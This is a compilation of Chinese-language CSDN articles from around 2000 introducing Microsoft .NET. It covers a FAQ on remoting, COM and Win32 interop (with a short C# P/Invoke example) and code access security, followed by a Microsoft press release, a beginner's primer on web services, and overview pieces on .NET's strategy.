带有二进制格式化程序的 TCP 通道（对于局域网，TCP 是性能较高的选项）

带有 SOAP 格式化程序的 SMTP 通道（仅对跨计算机有意义）

在托管代码和非托管代码之间进行转换时，COM 基础结构（尤其是 DCOM）用于远程处理。在 CLR 的中间版本中，这也适用于服务组件（使用 COM+ 服务的组件）。在最终版本中，配置任何远程组件都是可能的。

对象的分布式垃圾回收由名为“租用生存期”的系统来管理。每个对象都有一个租用时间，当到期时，该对象与 CLR 的远程处理基础结构断开连接。对象具有一个默认的更新时间——当客户端成功地调用了对象时，租用将被更新。客户端可以显式更新租用。

互操作性
是否可以在 .NET 框架程序中使用 COM 对象？
是。您现在部署的任何 COM 组件都可以在托管代码中使用。通常情况下，所需的调整是完全自动进行的。

特别是，可以使用运行时可调用包装 (RCW) 从 .NET 框架访问 COM 组件。此包装将 COM 组件提供的 COM 接口转换为与 .NET 框架兼容的接口。对于 OLE 自动化接口，RCW 可以从类型库中自动生成；对于非 OLE 自动化接口，开发人员可以编写自定义 RCW，手动将 COM 接口提供的类型映射为与 .NET 框架兼容的类型。

是否可以在 COM 程序中使用 .NET 框架组件？
是。您现在创建的托管类型都可以通过 COM 访问。通常情况下，所需的配置是完全自动进行的。托管开发环境的某些新特性不能在 COM 中访问。例如，不能在 COM 中使用静态方法和参数化构造函数。一般，提前确定给定类型所针对的用户是一种较好的办法。如果类型需要在 COM 中使用，您将被限制在使用 COM 可访问的特性。

默认情况下，托管类型可能是可见的，也可能是不可见的，这由用于编写托管类型的语言决定。

特别是，可以使用 COM 可调用包装 (CCW) 从 COM 访问 .NET 框架组件。这与 RCW（请参阅上一个问题）相似，但它们的方向相反。同样，如果 .NET 框架开发工具不能自动生成包装，或者如果自动方式不是您所需要的，则可以开发自定义的 CCW。

是否可以在 .NET 框架程序中使用 Win32 API？
是。使用 P/Invoke，.NET 框架程序可以通过静态 DLL 入口点的方式来访问本机代码库。

下面是 C# 调用 Win32 MessageBox 函数的示例：

using System;
using System.Runtime.InteropServices;

class MainApp
{
[DllImport("user32.dll", EntryPoint="MessageBox")]
public static extern int MessageBox(int hWnd, String strMessage, String strCaption, uint uiType);

public static void Main()
{
MessageBox( 0, "您好，这是 PInvoke！", ".NET", 0 );
}
}

安全性
如何使代码与安全系统协调工作？
通常，这不成问题——大多数应用程序能安全地运行，不会受恶意攻击的干扰。通过简单地使用标准类库来访问资源（如文件）或执行受保护的操作（例如反转类型的私有成员），安全性由这些库来实施。应用程序开发者需要完成的一项简单工作是包括权限请求（一种公开的安全性），将代码可能接收的权限限制在它所需要的权限范围内。这也确保了如果代码被允许运行，它在运行时将具有所需的所有权限。

仅当开发人员需要编写提供新型资源的新基类库时，他们才需要直接处理安全系统。在这种情况下，并非所有的代码都有潜在的安全性问题，代码访问安全机制将其限制在替代了安全系统的那部分代码上。

为什么在网络共享驱动器中运行代码时会发生安全异常？
默认安全策略仅给来自本地 Intranet 区域的代码授予有限的权限。这个区域是由 Internet Explorer 安全设置定义的，它们应该配置为与企业内部的本地网络相匹配。由于由 UNC 或映射驱动器（例如使用 NET USE 命令）命名的文件都需要在本地网络上发送，因此它们也在本地 Intranet 区域中。

默认值是为不安全的 Intranet 这种最坏情况而设置的。如果您的 Intranet 比较安全，您可以修改安全策略（用 CASPol 工具），给本地 Intranet 或其一部分（例如特定的计算机共享名）授予更多的权限。

如何编写代码，使它在安全系统停止该代码时运行？
当代码试图执行未经授权的操作时，将发生安全异常。权限是基于代码（尤其是其位置）来授予的。例如，从 Internet 中运行的代码所得到的权限比在本地计算机上运行的代码所得到的权限要少，这是因为经验证明，它的可靠性要低一些。因此，要运行由于安全异常而失败的代码，您必须增加授予它的权限。一个简单的方法是将代码移到更受信任的位置（例如本地文件系统）。但这种方法并不是在任何情况下都有效（Web 应用程序是一个很好的例子，企业网络上的 Intranet 应用程序是另一个例子）。因此，不要改变代码位置，而是通过更改安全策略给该位置授予更多的权限。请使用代码访问安全策略工具 (caspol.exe) 或图形化管理工具（在 Beta 2 和更高版本中可以得到）来执行此操作。如果您是代码的开发人员或发行者，您也可以对它进行数字签名，然后修改安全策略，给带有该数字签名的代码授予更多权限。但是，在执行上述任何操作时，请记住此代码被授予较少的权限，是因为它不是来自受信任的来源——在将代码移至本地计算机或更改安全策略以前，您应该确保这些代码不会执行恶意或损坏性的操作。

如何管理个人或企业计算机的安全性？
目前，CASPol 命令行工具是管理安全性的唯一方法。安全策略由两个级别组成：按计算机和按用户。我们计划在 .NET 框架第一版中提供全面的管理工具以及企业策略管理支持。

基于证据的安全性是如何与 Windows 2000 安全性配合工作的？
基于证据的安全性（基于授权码）能与 Windows 2000 安全性（基于登录身份标识）配合工作。例如，要访问一个文件，托管代码必须具有代码访问安全文件权限，也必须在具有 NTFS 文件访问权限的登录身份标识下运行。.NET 框架中包括的托管库也为基于角色的安全性提供了类。这些都使应用程序能够与 Windows 登录身份标识及用户组配合工作。


csdn_Microsoft .NET框架糅合各种编程语言，开创Web新时代

Microsoft .NET框架糅合各种编程语言，开创Web新时代 作者：Microsoft
华盛顿，雷德蒙，2000年7月11日——David Simmons几乎使用过所有的编程语言（确切地说，使用过20种编程语言。）在其长达23年的软件开发生涯中，他无数次目睹了编程人员为成功调试出多个可以相互通信的应用程序，通宵达旦奋战无数个日日夜夜的艰辛过程。生平第一次，他的头脑中猛地浮现出一个全新的解决方案。

“.NET框架开启了通向软件开发复兴的大门。”Quasar Knowledge Systems(QKS)的奠基人和总裁Simmons说。QKS是一家致力于提供SmallTalk语言产品的知名公司。“近几年来，业内人士热切希望能够找到一个完美的单一语言解决方案。但是，无论从商务还是软件技术创新的角度考虑，该策略都无法使人感到振奋。微软正致力于提供一个可以构建任何语言工具的基础框架。”

今天，微软专业开发人员大会在佛罗里达州举行。会上，微软正式公布了作为.NET平台一部分的.NET框架。.NET框架通过糅合各种编程语言，将极大地简化必须要当今开发人员处理的大量复杂编程杂务。除了能极大地简化开发人员必须处理编程“管道”外，.NET框架更重要的功能是，自动将任一应用程序转化为可复用、具有互用性的Web服务。

可使用基于Web的“服务”构建明天的软件应用程序，正如今天可使用“组件”构建应用程序一样。

“微软致力于实现通过互联网和企业内部网将软件转化为服务这一宏伟蓝图。”微软Web服务中心的成组产品经理John Montgomery说。Montgomery深信，微软开发的新型编程环境将大幅度提高开发人员的生产力，并将今后的各种应用程序转变成软件“部件”（或服务）集合。今后，人们可通过互联网或公司网络轻松访问这些部件，而且比当今开发人员使用软件组件还要容易。

消除“巴别塔”效应

微软正深刻地改变着开发人员的工作方式。开发人员需要从头到尾编写整个应用程序的手工编写时代已经一去不复返了。在过去的十年中，人们一直使用松散耦合的部件——软件组件——来构建应用程序，致使应用程序变得日益庞大和复杂，不同开发人员选用的是不同的编程语言、对象模式和操作系统，这在一定程度上削弱了部件之间的互用性。

“把用多种编程语言写出的程序块连接起来，以使它们能协同工作，一直是件让开发人员倍感头疼的苦差事。”交互式软件工程公司总裁Bertrand Meyer如是说，该公司因其开发的Eiffel软件开发工具而在业界声名远播。“大多数开发人员放弃了努力而埋头工作于单一语言环境中。他们要么受困于十年前制定的设计方案，要么费时费力地对方案进行修修补补却收效甚微。”

如今，微软正致力于将多个组件改装成集成通用型的组件。微软认为，开发人员正逐渐从过去的繁复编程事务中解脱出来，可以选择自己最得心应手的编程语言进行编程。

“编程语言的互用性将带给编程人员最大的实惠。”Meyer说。“.NET框架从来没有像现在这样，神速般地将开发人员所梦想的编程语言互用性变成近在眼前的现实。开发人员在工作中可以随换随用另一种编程语言，这大大避免了初投资金的浪费。”

实际上，在.NET框架中，所有的编程语言，从相对简单的JScript到复杂的C++语言，一律是等同的。当前，开发人员必须依据所选编程语言来使用不同的命令集，这些命令被称作“框架”。当不同编程语言发生冲突时，就会导致“巴别塔效应”。也就是说，当各种编程语言混杂在一起时，任何一种编程语言的效力都会被削弱。另外，开发人员在学习一种新的编程语言时，总会经历一段艰难的学习期，Montgomery说。

有了.NET框架后，开发人员便可对选用的任何编程语言一律使用统一的命令集，他解释道。

“只需简单地一用，.NET框架便可消除各种异类框架之间的差异，将它们合并为一个整体。.NET的作用不仅仅是将开发人员必须掌握多种框架的束缚中解脱出来，通过创建跨编程语言的公共API集，.NET框架可提供强大的跨语言继承性、错误处理和调试功能。现在，开发人员可以自由地选择他们喜欢的编程语言。.NET平台欢迎所有人的垂顾。”Montgomery说。

语言互用性允许编程人员使用不同编程语言编写各个组件，再将这些组件连接成一个大型的应用程序。更令人振奋的是，他们还可充分利用互联网和企业内部网的优势，访问整个网络上的Web服务。Montgomery说，开发人员将负责构建和出售这类Web服务，使其成为其他开发人员可以提取引用的庞大软件资源。将来，应用程序的功能会变得十分强大和易于构建。

应用程序正在演变为软件拼凑件

“它攸关生产力的高低，是人们势在必行的选择。”Montgomery又补充到。“开发人员可以通过合并远程服务、本地服务以及自定义代码来创建应用程序。”这些服务通过使用Web的lingua franca（一种可扩展的标记语言，即XML）与应用程序进行交互。

Web服务易于使用，因为它们是自我描述型的服务，只需告诉开发人员当前服务期望获得什么信息以及它将提供什么服务，而不必让他们了解组件的内部运行机制及过程。可以将这些服务进行合并。从任何平台、用任何编程语言编写的应用程序都可调用该服务，Montgomery解释说。开发人员可从整个Web服务资源库中提取所需的组件，再进行组件“拼凑”，最后生成具有更强功能的应用程序，同时节省了大量时间。

“Web服务能在各种场所大显身手——可将它们视作运行于互联网或企业内部网之上的应用程序，而不是本地应用程序。”Montgomery说。举一个语言翻译服务的例子。可以对运行于Web之上的Lernout和Hauspie翻译引擎进行改造，将其变成一个可进行简单翻译的电子邮件程序。用户便可以发送和接收用外文撰写的电子邮件。

“目前，如何将不同组件和脚本语言集成为一个紧密整合且易于维护的解决方案，是一项难度很大的任务。”Simmon说。“微软的Web服务提供了一流的集成技术运载工具，开发人员可从其中挑选最为适合的技术，顺利完成组件的平滑集成。”

“Web服务最基本的特性就是其可复用性。微软在帮助开发人员创建可复用的软件方面，有着十分丰富的经验。”Montgomery说。“微软的组件对象模型(COM)自问世八年以来，已演变成业界内迄今为止最成功的组件模型。用户可用它创建可多次复用的代码块。”他说。这些组件可以执行任何类型的任务，从执行一个简单函数到运行诸如Microsoft Word整个应用程序，无一不能。

Dick Hardt，ActiveState的创始人和执行总裁，在开始其软件编程生涯时，使用的工具是Windows 1.03。ActiveState是一家为开发人员提供编写Perl和Python互联网编程语言的工具和服务的知名公司。他亲历了十四年来编程技术的历次重大变革。“在我们从事编程的头几年里，谈不上有什么软件的复用性。”他说。“自引进COM以来，少数几种编程语言之间可以实现可互用性。今天，可互用性大大降低了软件开发费用，它从根本上改变了编程技术的发展方向。然而，Microsoft .NET框架可提供最直接的可互用性。您可随意使用任何一种编程语言来创建并使用组件，还可对组件进行扩展。这使得我们向着更完美的目标跃进了一大步。”

自动处理事务管理细节

许多事实表明，微软推出的.NET框架，正帮助开发人员逐步地从繁重的重复性编程中解脱出来。当今，开发人员需花费大量的心血来处理数目庞大的编程杂务，诸如访问计数和内存管理等。这些细节的处理费时费力，大大拖延了软件产品投放市场的时间，情况十分糟糕。Montgomery说。

“多年以前，当尚未推出COM时，开发人员只用五行C语言代码就能编写出一个简单程序。若使用COM来编写这个程序，则需要编写几百行代码。可见，COM在带来巨大价值的同时，也大大增加了开发开销。”Rational Software公司开发人员工具小组的工程负责人Jon Sanders说，Rational Software是一家提供软件开发工具、服务和软件工程的最佳业务公司。“现有了.NET框架，开发人员编写这样的程序又只需五行代码便大功告成。我们似乎是免费获得了COM的全部价值。

“如今，有数量众多的样本文件代码零散地分放在许多地方，必须对这些代码进行同步处理，才能保证程序的正常工作。“现在，.NET框架可以将处理这类细节的杂务分派给系统去完成——从而彻底解决了样本文件代码问题。”

如今开发人员可利用.NET框架自动执行许多任务。而在过去，开发人员必须手动处理这类任务，且很容易出错，Montgomery说。.NET框架可自动管理枯燥而复杂的编程细节，诸如管理内存、启动或取消线程和进程、增强安全性能以及适应从属组件等等。

有了.NET框架处理众多的杂务管理任务，开发人员需编写的代码量便大为减少，生产力便显著提高，Montgomery说。同时，编程工作也会相对简单得多。他接着又补充道，开发人员编程出错率大大减少，编程错误影响其它应用程序的可能性也随之锐减。

Simmon把当前的编程人员比作是手工艺术家。“当今，手工编写复杂软件非常费时，且必须掌握特殊的职业技能。”他解释道。“而现在，微软与其他工具厂商一道合作，将这类手工编写过程演变成一种功能模块技术，使开发人员可以集中精力提供服务，而不需手动编写软件。这样，他们便能在更短的时间内创造出更多更有价值的东西。”

其它内置功能节省了开发人员的编程时间

微软的.NET框架，使开发人员的生产力有了质的飞跃。“我们的新型ActiveServer Pages + (ASP+) 构建在.NET框架之上，且功能性有很大的改观，ASP+为构建复杂而高度可扩展的Web应用程序和服务提供了一个完整的框架，开发人员只需掌握一些简单的Web代码（用超文本标识语言(HTML)）编程技能。“开发人员可以集中精力编写出一个有效的解决方案，为客户完满解决独特的商务问题，其它编程杂务可交由ASP+基础解决处理。”通过自动执行复杂的应用程序功能，诸如保存将来要使用的信息（状态管理），ASP+使得要编写的代码行比原来减少了十分之一。

ASP+还能自动执行许多实现Web服务的功能，包括对ASP+应用程序进行透明的XML访问。“我们通过使用简单对象访问协议(SOAP)（一种XML语法），实现了应用程序之间的通信。”Montgomery说。“SOAP是一种最佳选择，因为它符合开放的工业标准，并用一种扩展的方式来表示XML数据和命令。ASP+能完全自动执行SOAP。”

ASP+控件运行在Web服务器上，并将他们的用户界面发送到客户端。在用户浏览器上，该应用程序简单地显示为标准的Web页面。

与开发人员工具小组通力合作

微软合并了.NET框架的所有元素（它们是：公共语言运行时间、统一的框架以及ASP+），使得开发人员可以用到具有更高复用性级别的软件，Montgomery总结道。

.NET框架是群体智慧的结晶。“靠我们单枪匹马地孤军奋战，绝对不可能做成这件事情。开发人员小组一直不遗余力地帮助我们，以确保.NET平台能包容所有的编程语言” Montgomery道。

为了创建.NET框架，微软已同很多人进行了商讨。同时，也听取了大量的意见。微软与200多家的公司、20多所大学以及十多个用户一道，对.NET框架的体系结构进行了细致深入的测试，并进行了大量的改进。

“微软热切欢迎众多会使用各种高级先进编程语言的开发高手加盟，出力为这个崭新平台建立一个好的基础。”Simmons说。“他们与第三方紧密合作，以期获得有价值的建议和设计反馈。微软采用了第一流的编程概念，并将它们集成为新型的安全、可配置、跨语言的编程模型，极大地改进了工具性能、提高了开发人员的生产力，并赋予他们选择编程语言的自由。”


csdn_.NET初级读本

.NET初级读本 作者：xu_yun
现在也许你会因为没有听说过微软的新.net战略而感到很没有面子。根据你从与别人聊天中或者在你的阅读中得来的信息，你心目中的.net或许是一个针对整个基于分布式结构的internet的宏伟的建筑，或者仅仅是web应用程序的别名而已。但是有一件事倒是越发清楚了，那就是大家对什么是.net，还有.net对web和应用程序开发这意味着什么是越发困惑了。

我不敢自称为.net的专家，但我想我已经足够多的介入到了它的设计、开发过程之中，所以我能够提供一些有用的信息以帮助大家明白.net的定位、目的和目标。所以虽然接下来的内容并不提供开发级的信息，不能告诉你怎样使用.net开发程序，但确实能够给你一些指引，使你至少能够为你的同事或家人讲述.net。

回忆过去

首先，我们要回去看看新的编程模式是怎样进化成为操作系统的一部分的。现在设想一下我们回到了80年代初。那时，在考虑购买一台计算机的时候，ibm个人电脑已经开始成为众多的选择对象之一了。它的操作系统是ms-dos，和那时几乎所有的操作系统一样，这是个严格的命令行的，基于文本的操作系统。

虽然当时绝大多数的应用程序在这些早期的计算机的基于文本的环境中运行良好，但有些程序员开始接受挑战去创造属于他们自己的，图形化的环境。用户首先用基于文本的的操作系统启动，然后运行程序切换到图形模式。这类的程序有的比较简单，只提供很少的功能，而有的则相对强大，功能多样。

要为这些程序设计和实现一套图形用户接口（gui）库需要做相当多的工作。特别痛苦的是在这些不同的实现中几乎没有任何共同点。要完全实现一个真正强大的gui，需要从操作系统级做起。所以到后来，apple，microsoft和其他公司开发出了图形界面的操作系统，这些系统不仅支持开发gui的应用程序，还极大地扩展了这些程序的能力，其提供的库不单单是支持窗口和菜单的绘制，还提供了丰富的的系统服务，以使开发者工作更加流畅。这些服务包括与设备无关的打印模式，甚至是系统剪贴板等等，这些都是对开发者非常有用的资源。

我希望我对这段历史得还算清楚，我们将从这里开始。

回到现在

现在我们跳回到现在。想象一下internet正扮演着80年代初个人电脑的角色，web站点就是当初的程序。如果这个web站点只是包括一些超链或者是一些文本文档，那它就像是过去的一个文本模式的程序，如果这个站点提供交互式的服务的话，那它就可以被比作是当时的gui的程序了。在交互式的服务下，用户提供信息给web站点，这些信息在web站点中被交给应用程序逻辑来处理然后产生一个结果。这样的例子有购物车、altavista提供的翻译服务和ups提供的包裹跟踪服务等等。

首先来看看购物车这个例子。几乎所有的购物车都将支持输入信用卡信息。很多时候这些信息只是作为交易信息的一部分而被记录下来，一个好的购物车将应该能够快速而且精确的向信用卡的发卡公司校验信用卡信息，如果用户输入了错误的信息，就应当给用户一个提醒。但当这个web站点想支持一种新的信用卡类型时它该怎么办呢？这个站点的开发者必须联系那个信用卡公司，找出他们支持的(如果有的话)电子校验服务，然后根据那个公司的电子校验的实现写自己的代码与其配合。

翻译服务又会怎么样呢？如果我们正在写一个e-mail 的程序，难道你不觉得在你的程序中加入即时翻译功能会非常有用吗？altavista就有提供了这种服务的站点，你可以悄悄的启动一个隐藏的浏览器控件，给它一些必要的信息，然后查看它返回的信息，在返回的页面上定位翻译好了的信息的位置，最后把它提取出来提供给用户。这和有些图形界面的应用程序从文本模式的程序或者是大型计算机终端中获取信息的方式有些类似。这就是广为所知的屏幕截取，这种方式比较复杂而且相当脆弱，因为目标屏幕的布局发生变化，即使是很细微的变化将会带来很严重的问题，而且在有些情况下这种实现显得并不道德。

现在我们来讨论讨论包裹跟踪服务，想象一下如果你的站点允许你的用户查询他们所定购的货物的当前状态会是会多么棒呀。通过ups的追踪编号来提供这些信息将会是非常有效的，或者是把这些信息做成到ups站点的链接，然后你的用户就会得到关于他们包裹目前状态的详细报告了，也许这个时候这些包裹还正在漂洋过海呢。但你觉不觉得这样会更方便，那就是你的站点和ups的站点交互工作，然后在你自己的网站上提供这些信息？这样的话，这些信息就会和你的站点的其它部分一样共享相同的用户界面，而且不用担心用户不小心迷失在ups站点后不知道怎样回到你的站点了。

为了给用户提供集成服务的体验，上面的例子或者需要你从其他公司找到以编程方式得到他们的服务的方法，然后为这些服务开发自己的用户界面；或者是写一个屏幕截取程序来截取相应的信息，如果已有公司通过web 提供了的相同服务的话。

非常明显，无论是那种实现方式，代码量和耦合度都太大，而且还存在很多潜在的问题和失灵的可能。这些途径在本质上很象80年代时强迫文本模式的程序与操作系统还不能直接支持的设备进行交互一样。

标准协议

一种比较好的解决方案应该是一套通用的、能够和远程服务交互的途径，这种途径不仅仅连接能够某个公司的服务，而且能够发现这个公司提供什么样的服务，就象xml、soap和uddi的目标那样。xml(扩展的标记语言)将信息表示成一种易于按你的需要进行编程获取或处理的格式，soap(simple object access protocol)基于xml，特别的被设计来提供远程服务的接口信息。而uddi(universal description, discovery, and intergration)是业界倡导的，具有对internet服务和资源的探测能力的一套标准。

在方便的连接和利用另一个站点所愿意提供的服务这条漫漫长路上，这些标准接口正在努力前行。但是由于当前的操作系统还不能够直接支持xml/soap，你必须在跳过一些障碍后才能使用这些接口。你可以写你自己的基于xml的编译引擎，或者使用别人的，然后与xml文档对象模型进行交互，创建出和检验被来回传递的数据。这很有意义，而且绝对比求助于屏幕截取容易多了。

进入.net

更好的解决方案是所有的xml/soap/uddi都能够被操作系统直接支持，然后由操作系统把它们作为相当普通的函数调用或者是对象的交互来向你提供。例如，下面的这些东西提供了一种绝妙的方法来供应用程序调用altavista的翻译服务。

avtrans = new avtranslation (“here is a sample line of text”, “english”);

strresult = avtrans.translateto (“french”);

这就是.net的给我们带来的好处之一。它不仅允许应用程序直接访问和利用远程的基于web的服务，而且使得web服务器很容易地向外部的程序提供这种服务。这并不意味着提供web服务器要提供服务，客户端要利用web服务都非得要用.net不可，只不过是指利用.net平台来进行这些开发更加便利而已。

属性、方法和事件。哦，我的天！

.net的设计，当然不是只停止在internet接口这个层面上。访问远程服务的这种编程模型同样也被应用在本地服务的利用与内部事务逻辑上。换句话说，这个编程模式将遍布在普遍的程序的设计中。

其目的在于提供一种统一的、面向组件的编程模型。无论你想显示一个远程的翻译服务还是本机的文件系统或者是一个对话框，所有的支持都将是一个一般化的基于组件的接口：属性、方法和事件。支持的.net的编程语言可以容易而且融洽地使用这些组件，而不管这些组件使用什么样的语言开发的，所有的这些语言都是平等的公民，一个vb应用程序就能调用用c++编写的组件的方法，同时捕获cobol开发的应用程序触发的事件。而且协作者们再也不会意识到自己的伙伴在用另外的一种编程语言。

肯定的，应用程序在利用这些服务以及架构的优势上也是会分成很多层次的。你可你想象一下你曾经在使用一台连在一台大型机的电传打字机终端，有人向你解释图形界面的应用程序是什么样的，用多快的时间你就会掌握滚动条，组合框，菜单条以其调色板管理的精髓呢？.net就像在引出一种全新的开发应用程序的思考方法。如果你仅看到了它的一部分，也许你不能发现它到底新在何处，而当你当你取得这个不可分割的整体的各方面的知识而且发现了其各部分如何协同工作后，你就会发现其中埋藏的巨大的兴奋，至少对我是这样。

我从来没有任何打算让这个对.net的粗略的讨论深入到任何细节。我将在以后的文章中深入窥视.net的特色和能力。


csdn_快速领会 .Net(一)

快速领会 .Net(一) 作者：不详
目前我主要的兴趣是通过 web 提供分布式计算，从这个角度来看，我发现 .NET 有几个令人激动的思想，它们是：Web 服务、SOAP/XML 和 CLR (Common Language Runtime：通用语言运行环境)。

     Web 服务

     Web 服务可以看作由 XML 通过 HTTP 协议来调度的远程过程调用 (RPC)。我看 .NET 基本上就是一个创建、分配、使用、支持 Web 服务，并为它提供开发环境的框架。Web 服务许诺：每个应用程序都能以一个 Internet 上的服务出现。Web 服务将成为一个关键技术，因为它是基于每天都使用的、并且是经过检验的机制。

     HTTP 传输是一个制定得很好的通道，即使穿越企业的防火墙也能很好地工作。SSL 广泛地用来为 HTTP 提供安全性。任何语言、组件模型和操作系统都可以使用或提供 Web 服务。注意看看下一代 Visual Studio 工具，它们承诺可以更容易地创建 Web 服务。

     SOAP

     SOAP/XML 实际上是 Web 服务的生命线，它使用通用语言 XML 和协议 SOAP 来描述数据的含义。分布式计算的世界里充满了大量的事务和消息，当我们为此使用 COM/DCOM、CORBA 和 EJB 时，今天的 Web 应用程序很大程度上是依靠手工技巧的，或者使用复杂的机制在不同的技术阵营之间进行通讯。

     对于所有应用程序而言，SOAP 的确并非最佳解决办法。例如，如果你的应用程序之间需要紧密的同步耦合，总应该考虑像 COM 和 RMI 这样的技术。

     HTTP 并不是性能最佳的传输协议，而且 XML 也很冗长，因而会造成额外的传输负荷。有些情况下，需要在应用程序之间进行效率更高的纯二进制数据流传输。但是，如果你能将应用程序设计成通过松散的异步调用进行耦合的 Web 服务，那么就会产生易于集成的好处，这使得付出的代价非常值得。

     结果是：只要灵魂语言是 XML，使用服务的应用程序就不需要知道或关心服务的谱系。

     通用语言运行环境 (CLR)

     CLR 是一个技术规范，无论程序使用什么语言编写，只要能编译成中间语言 (IL)，就可以在它的支持下运行。这意味着在不久的将来，可以在 Windows 环境下运行传统的非 Windows 语言。无论各种语言迷们如何争论，没有人能够声称任何一种语言对所有用途都是最佳的工具。我们总是需要特定用途的语言。

     这是和基于 J2EE (Java 2 Enterprise Edition) 的解决方案相比，.NET 胜出的地方。J2EE/Java 功能强大，设计良好并被广泛使用。但在它表现出平台无关性时，.NET 更是独立于编程语言的。

     我希望使用 Windows 平台，但并不希望被拴在它上面。CLR 将是超越 Windows 平台的具有良好伸缩性的好手段。.NET 框架将提供强大的环境功能，例如内存和线程管理、自动垃圾收集、进程的建立和撤销，以及可控制的代码安全性。

     VisualStudio.NET 的目标是成为一个至少支持十几种语言的开放语言框架和开发环境，CLR 打算提供的通用库将允许从另一种语言来方便地调用和调试语言代码。CLR 的成功将取决于将它移植到其他平台的范围和移植的质量。

     各种迹象表明，.NET 框架羽翼丰满前，至少还需要一年的时间。.NET 可能是使 Microsoft 成功或失败的战略，但无论 Microsoft 能否交付 .NET，.NET 所依赖的基础和概念都是坚实的、永存的。

     将你的应用程序创建为具有松散耦合的 Web 服务吧，它们相互之间就可以使用开放语言通讯。如果事情像 Microsoft 计划的那样，.NET 的影响将会是深远的，并且是你不能错过的。

     如果找到了所要寻找的信息，那么这个信息也就没有吸引力了。Web 后面的核心思想就是文档不应该以层次结构提供，而是应该让读者能方便地找到和他们正在阅读页面的相关信息，因此，文档应该以交叉连接的方式出现。DotNet 正是让人们能将不同来源的数据组织并显示出来的最新尝试，它的方式是让人们能够根据客户端的需要来处理数据。

     .NET 是什么？

     Microsoft.NET (从前叫做NGWS：Next Generation Windows Services) 是 Microsoft 从以客户机为中心的模式转移到以网络为中心的模式的战略保护伞。Microsoft 花了一段时间才走到这一立场上来。在过去的十年里，Sun 已经在倡导“网络就是计算机”，而 Microsoft 只是在 1998 年才提出了它的第一个支持终端服务的操作系统。然而，一旦 Microsoft 最终意识到 Web 里确实有一些东西，它就立即接受了它。现在，Microsoft接受了基于 Web 的模式。

     这一战略的其它部分是宣布 Microsoft 在 Windows 2000 DataCenter 上的工作、宣布通过应用程序服务商 (ASP) 发放 Windows 应用程序许可的最终模型，以及在 Windows 2000 服务器操作系统的核心部分（包括终端服务）的决定。从前，Microsoft的名字总是出现在个人计算机周围的公司，但 .NET 概念的提出，使意义更为重大。

     .NET 分成三个部分。一个在服务器端，就是像 Windows DataCenter 这样的操作系统，这里 Microsoft 处于主机市场竞争者的位置。在中间，是 XML，以及用来从数据库或数据表中提供信息，以使开发者能通过 XML 调用他们的简单对象访问协议 (SOAP)。在客户端，是支持 XML 语法分析、从而根据赋予它的标记来显示信息的操作系统。

     Microsoft 为什么转移到以网络为中心的模式？

     以客户机为中心的桌面厂商为什么要转移到更多地以网络为中心的模式上来？按照 Steve Ballmer 的说法：这是用户所希望的！更进一步，这也是将来用户所希望的。在一个以服务器为中心的环境中分发应用程序减少了客户端的管理、简化了程序的更新和安装，并且会对移动计算环境提供更好的支持。对网络管理员来说，以客户机为中心的模型难于支持，而对家庭用户而言更是如此。要生存得更长久，以客户机为中心的计算将由基于服务器的模型进行补充。

     Microsoft .NET 将怎样影响我们做事的方式？

     眼前，还不会有什么影响。目前 .NET 是一个前景，而不是现实。然而，如果事情都像计划的那样，它将会对三类人有潜在的影响：用户、网络管理员和开发者。

     对于用户能得到的好处，Microsoft 有很多要说。.NET 应用程序倾向于提供一个统一的界面，以便用户可以从一个应用程序里浏览、编辑和创建文档。这个数据模型应该能使应用程序拥有能力查询不同来源的数据，并将其合并到一个可视文档里面。用户将能通过一个兼容的浏览器，从任何设备上访问他们的应用程序和个人设置。在咖啡店的角落里工作将和在家里工作一样 ;-)

     灵活的平台意味着用户的数据自动地根据他们的工作环境来进行调节：在桌面客户端和手持式 PC 的较小浏览器中，同样的数据将以不同的方式来显示。

     这一模式为网络管理员带来了什么？估计 .NET 应用程序会加载到他们自己的目录中，相互之间保持独立。这会产生两个效果。首先，遵从 Microsoft 所赞同的“共享数据而不是代码”的模型，“DLL陷阱”将被终结。从而，不同的应用程序可能以相同的名字覆盖助手库。 其次，估计应用程序将不去“惊动”注册表，从而解决了注册表“纹身”问题：即使反安装了应用程序，它还是在注册表里留下了配置信息。另外，.NET 应用程序将使用基于 Kerberos 认证的安全机制，以确保只有被授权的用户才能访问用户的数据。

     .NET 应用程序同时将是集中安装的，这减少了程序丢失时重新安装它们的客户端的管理工作。预计 .NET 应用程序还能监视它们自己的内存漏洞。在单用户环境里，内存漏洞是多么的糟糕。如果再转移到为很多人提供服务的、基于服务器的计算环境，它们将是致命的。

     .NET 与开发者

     对开发者而言，.NET 使他们应用自己最熟悉的语言创建应用程序，并从异种数据源查询信息成为可能。开发者将不必从 COM 对象到 DLL 的不同编程模式中换来换去，或者应付不同的调试工具，或者为 .NET 应用程序编写安装包。近期，开发者将能用他们希望使用的语言编写应用程序，创建应用程序需要的支持文件，并使它能运行。

     .NET 不会很快成熟。浏览器需要可靠的 XML 分析器，服务器需要将裸数据转换成 XML 的引擎。不是以 XML 格式化的数据将不能提供给应用程序。惯性将使大量现存的 Windows 应用程序很难在一夜之间就完全消失。直到 2001 年的某时，Whistler 系统完成之前，第一个部分支持 .NET 的客户端操作系统不会出现。并且，在 Blackcomb 系统上市之前不会完全实现。DataCenter 还将发挥很长一段时间的功效。

     一些开发者指出，作为优秀思想范例的 Java 并没有飞起来，但是 Microsoft 却不同，她拥有丰富的市场能量。他们虽然不是无往不胜的，但他们是优秀的。请记住：当 Windows 刚出现时，也没人需要


csdn_快速领会 .Net(二)

快速领会 .Net(二) 作者：不详
电子商务的大潮已经袭来，这需要所有的软件都支持 Web。开发者们思考得更多的是如何把现有的应用程序放到 Web 上，如何为 Internet 开发出企业级的、高性能的以及可伸缩的应用程序。我们来看一看这些挑战，以及我们能做些什么吧！

     对基于 Web 的开发过程的充分理解是在 Internet 开发领域取得成功的关键。我们中有许多人听说过那些术语，像 ASP、Web 服务器、事务处理服务器和组件等等，但对它们的真正含义只有一个粗略的理解。像很多其他东西一样，一旦我们理解了它们是什么，事情就简单了。我们来看看一个基于 Web 的应用程序是如何区别于你现在所开发的应用程序的。

     Windows DNA

     在基于 Web 的开发模型中，应用程序是分布式的，也就是说：程序的一些部分运行在客户机上，一些在对象服务器上，另外一些在数据库服务器上。这种结构有很多优点，包括伸缩性、性能、易于配置和扩展，但是它们的有效性要依赖于正确的实现。一个特殊的平台脱颖而出：Microsoft Windows DNA。Windows DNA 的结构涉及到一个 Web 服务器 (Internet Information Server) 和一个事务处理服务器 (Microsoft Transaction Server)，以及其它几个产品和服务。这些服务器经常被单独地称为 IIS 和 MTS。

